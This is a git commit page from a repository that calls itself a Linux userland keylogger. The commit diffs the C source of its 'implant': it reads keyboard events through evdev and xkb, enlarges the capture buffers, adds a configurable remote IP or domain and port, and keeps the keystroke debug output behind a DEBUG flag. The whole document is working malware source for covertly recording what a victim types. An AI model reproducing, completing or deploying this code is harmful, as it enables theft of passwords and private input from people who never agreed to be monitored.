mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 2738232ff0a23462469b51dc863b1c6f19c2bd84
parent 7c896db578674f62a38c1ae574db50cea151aa42
Author: winds0r <[email protected]>
Date: Mon, 5 Jun 2023 15:58:39 +0900

wip(implant): dropping support for `debug_enabled` flag

Diffstat:
Mimplant/includes/implant.h | 9++++-----
Mimplant/sources/logger.c | 30+++++++++++++++++++++++++++---
Mimplant/sources/main.c | 7++++++-
Mimplant/sources/opt.c | 4++--

4 files changed, 39 insertions(+), 11 deletions(-)

diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -27,7 +27,9 @@ typedef struct keyboard_s keyboard_t;
 struct keyboard_s {
     int fd;
 
-    char buffer[256];
+    ssize_t nb_characters;
+
+    char buffer[2048];
     char name[64];
 
     TAILQ_ENTRY(keyboard_s) devices;
@@ -44,10 +46,7 @@ typedef struct implant_s {
 
     /* remote connection settings */
     unsigned short port;
-    char ip[17];
-
-    /* debug settings */
-    int debug_enabled:1;
+    char ip[256];
 
     /* keyboard settings */
     char locale[20];
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -41,13 +41,23 @@ static int log_keyboard(int fd, struct xkb_state *state) {
         return ERROR;
     }
 
-    // 1 = is_pressed
     if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
+
+        /*
+            TODO:
+                handle case where user presses on shift to add press a key
+        */
+
         char key_description[256] = {0};
         xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
 
         xkb_keysym_get_name(keysym, key_description, 256);
+
+#ifdef DEBUG
+        /* tracing this in stdout so that errors can be cleanly sent to a file */
         printf("[+] Key pressed: %s\n", key_description);
+#endif
+
     }
 
     return SUCCESSFUL;
@@ -129,7 +139,14 @@ void keylog(implant_t *instance) {
         }
 
         /* check if a key has been pressed */
-        status = select(highest_fd + 1, &rd, NULL, &err, (instance->debug_enabled) ? &(struct timeval){1, 0}: NULL);
+#ifdef DEBUG
+        struct timeval timeout = {0, 1};
+        status = select(highest_fd + 1, &rd, NULL, &err, &timeout);
+#else
+        status = select(highest_fd + 1, &rd, NULL, &err, NULL);
+#endif
+
+
         if (status < 0) {
 
 #ifdef DEBUG
@@ -149,10 +166,17 @@ void keylog(implant_t *instance) {
 #endif
 
                 /* keyboard has been un-plugged, let's continue */
+                FD_CLR(it->fd, &rd);
+                FD_CLR(it->fd, &err);
+
                 close(it->fd);
                 TAILQ_REMOVE(&instance->kbd, it, devices);
 
-                /* TODO: there is probably a memory leak here, investigate how to fix */
+                /*
+                TODO: there is probably a memory leak here, investigate how to fix
+
+                (we allocate keyboard_t instance but we don't free it here... :x )
+                */
 
                 continue;
             }
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -9,7 +9,12 @@
 
 int main(int ac, char **av) {
 
-    implant_t instance = {0};
+    implant_t instance = {
+        .locale = {0},
+        .ip = {0},
+        .port = 80, /* ip can be a domain name */
+    };
+
     if (ERROR == parse_user_input(ac, av, &instance))
         return 1;
 
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -24,7 +24,7 @@ int parse_user_input(int ac, char **av, implant_t *settings) {
         switch (c) {
             case 'i':
                 /* we got an IP address */
-                strncpy((char *)&settings->ip, optarg, 16);
+                strncpy((char *)&settings->ip, optarg, 255);
                 break;
 
             case 'p':
@@ -35,7 +35,7 @@ int parse_user_input(int ac, char **av, implant_t *settings) {
             case 'h':
                  help_mode(av[0]);
                  exit(0);
-                 // will exit on help_mode() anyway
+                 /* will exit on help_mode() anyway */
 
             case '?':
                  help_mode(av[0]);